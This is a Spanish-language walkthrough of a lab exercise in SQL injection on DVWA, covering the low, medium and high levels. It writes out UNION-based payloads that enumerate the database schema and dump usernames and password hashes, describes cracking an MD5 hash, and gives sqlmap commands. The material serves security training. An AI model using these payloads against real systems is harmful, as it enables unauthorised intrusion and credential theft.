Saltar al contenido principal

SQLi Union

Bajo

Una de las primeras pruebas para detectar si una página es vulnerable a Inyección SQL (SQLi) es el ataque conocido como "Codo comillas" o "Croqueta -1". Consiste en introducir una comilla simple en los parámetros de la URL. Por ejemplo, en:

http://localhost/vulnerabilities/sqli/?id=1&Submit=Submit#

Si observamos dicha URL, vemos que tiene el parámetro id al añadir una comilla al parámetro id, la URL se transforma en:

http://localhost/vulnerabilities/sqli/?id=1'&Submit=Submit#

Este cambio puede producir un error de sintaxis en la base de datos, indicando una posible vulnerabilidad. Originalmente, la consulta SQL sería:

Error de sintaxis

Este cambio puede producir un error de sintaxis en la base de datos, indicando una posible vulnerabilidad. Originalmente, la consulta SQL sería:

SELECT first_name, last_name FROM users WHERE user_id = '$id'

Pero con la inyección, se transforma en:

SELECT first_name, last_name FROM users WHERE user_id = '$id''

Ahora que sabemos que la consulta puede ser vulnerable a SQLi, vamos a probar a explotarla.

Lo primero que vamos a probar es a recuperar todos los datos que nos pueda devolver la sentencia, por lo que vamos a introducir la siguiente inyección:

1' or 0=0#

Esto cierra la comilla en el valor de id y añade una condición siempre verdadera (0=0), retornando todos los registros de la tabla. La almohadilla (#) comenta el resto de la sentencia SQL para evitar errores adicionales.

A continuación, lo que nos interesa saber es la cantidad de campos que devuelve la sentencia SQL, por lo que vamos a ir ordenando los campos hasta que nos dé error en la ordenación y entonces sabremos cuántos campos tenemos.

1' order by 1#

Numero de columnas

Incrementando el número hasta que se produzca un error. Si el error ocurre con order by 3#, significa que la consulta tiene 2 columnas.

Numero de columnas

Conociendo las columnas de las que disponemos, vamos a comprobar dónde se imprime cada columna para sacar la información.

1' union select all 1,2#

Numero de columnas

Si el "1" se muestra en el nombre y el "2" en el apellido, se identifican las posiciones de las columnas.

Ya que tenemos los diferentes sitios de impresión de los campos, vamos a sacar información interesante. Para empezar, iremos con la versión de MySQL, la cual nos dará información para comprobar si existe alguna vulnerabilidad o exploit conocidos.

1' union select all version(),2#

Numero de columnas

Obtenemos qué usuario tiene en la base de datos, porque si nos encontramos con la suerte de que es root, nos permitirá acceder a toda la información de las diferentes bases de datos.

1' union select all user(),2#

Numero de columnas

Identificamos el nombre de las bases de datos que tiene acceso el usuario obtenido antes.

1' union select all database(),2#

Numero de columnas

Para poder continuar con nuestro ataque, necesitamos saber las tablas que tiene nuestra base de datos y las columnas de dichas tablas. Esta información se almacena en la tabla information_schema desde la versión 5.0.2 de MySQL.

Así que comenzamos obteniendo todas las tablas que tiene el servidor de MySQL/MariaDB:

1' union select null, table_name from information_schema.tables#

Numero de columnas

Pero tenemos un problema, que aquí nos muestra no solo las tablas de nuestra base de datos sino de todas a las que tenemos acceso, por lo que vamos a acotar un poco más la sentencia para no volvernos locos buscando entre todas las tablas:

1' union select null, table_name from information_schema.tables WHERE table_schema='dvwa'#

Numero de columnas

Ahora que tenemos las tablas, vamos a buscar la información de la tabla que más nos interesa a todos, que al final es la de usuarios, para ver si podemos acceder a sus contraseñas.

1' union select null, column_name from information_schema.columns WHERE table_name='users'#

Numero de columnas

Ahora que ya tenemos toda la información necesaria, solo nos queda recolectarla

1' union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users#

Numero de columnas

Ahora que tenemos los usuarios y los hash, solo nos queda identificar el hash correspondiente y realizar su crackeo. Como observamos que es un MD5, podemos usar la web de HashKiller y obtenemos su contraseña original, que en el caso de admin es "password".

Numero de columnas

Medio

Cuando nos enfrentamos a un elemento select en lugar de un input, modificar directamente el valor con el inspector de elementos del navegador puede ser engorroso. En estos casos, es útil usar herramientas como OWASP ZAP. Es importante configurar correctamente el proxy de OWASP ZAP para interceptar y manipular las peticiones.

Realizamos la primera petición y nos encontramos en OWASP ZAP lo siguiente. Abajo del todo de la petición, vemos los parámetros que se están enviando por POST, en este caso, que son id y Submit. Como en el ejercicio anterior, nos interesa el id.

Numero de columnas

Lo primero que tenemos que probar de nuevo es el ataque de "Codo comilla", quedando la petición de la siguiente manera.

Numero de columnas

Pero en este caso, el error que obtenemos es diferente y, como vemos, tenemos una barra de escape (\) delante de nuestra comilla. Esto es debido a que el código está usando la función mysqli_real_escape_string(), que "escapa los caracteres especiales de una cadena para usarla en una sentencia SQL, tomando en cuenta el conjunto de caracteres actual de la conexión".

Numero de columnas

Por lo que al usar comillas en el ataque no nos funcionará, así que vamos a probar a realizar el primer ataque de SQLi pero sin las comillas a ver qué sucede.

Numero de columnas

Numero de columnas

Como observamos, el ataque funciona. Ahora solo tendríamos que ir repitiendo los ataques que hemos visto en el anterior nivel, pero sin las comillas para evitar la función mysqli_real_escape_string

Ahora que ya sabemos cómo hacer nuestros primeros ataques de SQLi, vamos a proceder a conocer una gran herramienta para estos casos, que es SQLMap.

Volvemos a realizar la petición sin ninguna modificación y la paramos con OWASP ZAP. En vez de editar la petición, vamos a guardarla. Para ello, hacemos clic secundario -> Save as Raw -> Request -> All.

Numero de columnas

Guardamos el archivo en la ruta que queramos para utilizarlo a continuación con SQLMap. Para utilizar el archivo guardado anteriormente, el cual nos almacena toda la petición, por lo que nos ahorramos tener que especificar todos los parámetros a mano. Lanzamos el siguiente comando:

sqlmap -r sqlmap-medium.raw

Y siguiendo las diferentes opciones que nos dice SQLMap, acabamos obteniendo 3 tipos de inyecciones diferentes.

Numero de columnas

Alto

Como podemos ver en el último nivel, el input se nos abre en una nueva página y el resultado en otra. En este caso, cuando realizamos el ataque de "Codo comilla", nos genera un error que no nos dice qué caso es, como en el nivel bajo o medio. Por lo que tendríamos que empezar a probar las combinaciones anteriores y, si no, ampliar con el resto de las técnicas que nos enseñan en OWASP.

Numero de columnas

Numero de columnas

Este caso es igual que el primero, por lo que no vamos a repetir todos los comandos. En su lugar, vamos a ver cómo realizar el ataque en un punto y recuperar la información con SQLMap.

Numero de columnas

Lo primero que vamos a hacer es proceder, como en el nivel medio, a capturar la información con OWASP ZAP y guardarla en un archivo. Una vez que lo tenemos, solo tenemos que volver a lanzar SQLMap como en el ejemplo anterior, pero agregando el parametro --second-url donde definimos donde tiene que buscar la información de retorno.

sqlmap -r high.raw --second-url="http://localhost/vulnerabilities/sqli/"

Numero de columnas

En resumen, para identificar y explotar vulnerabilidades de inyección SQL en diferentes niveles de seguridad, debes familiarizarte con las técnicas básicas de inyección SQL y las herramientas como OWASP ZAP y SQLMap. Estas herramientas y técnicas te permitirán realizar ataques más sofisticados y adaptarte a diferentes escenarios de seguridad. Recuerda siempre utilizar estas habilidades de manera responsable y ética y solo en entornos controlados o con permiso explícito del propietario del sistema.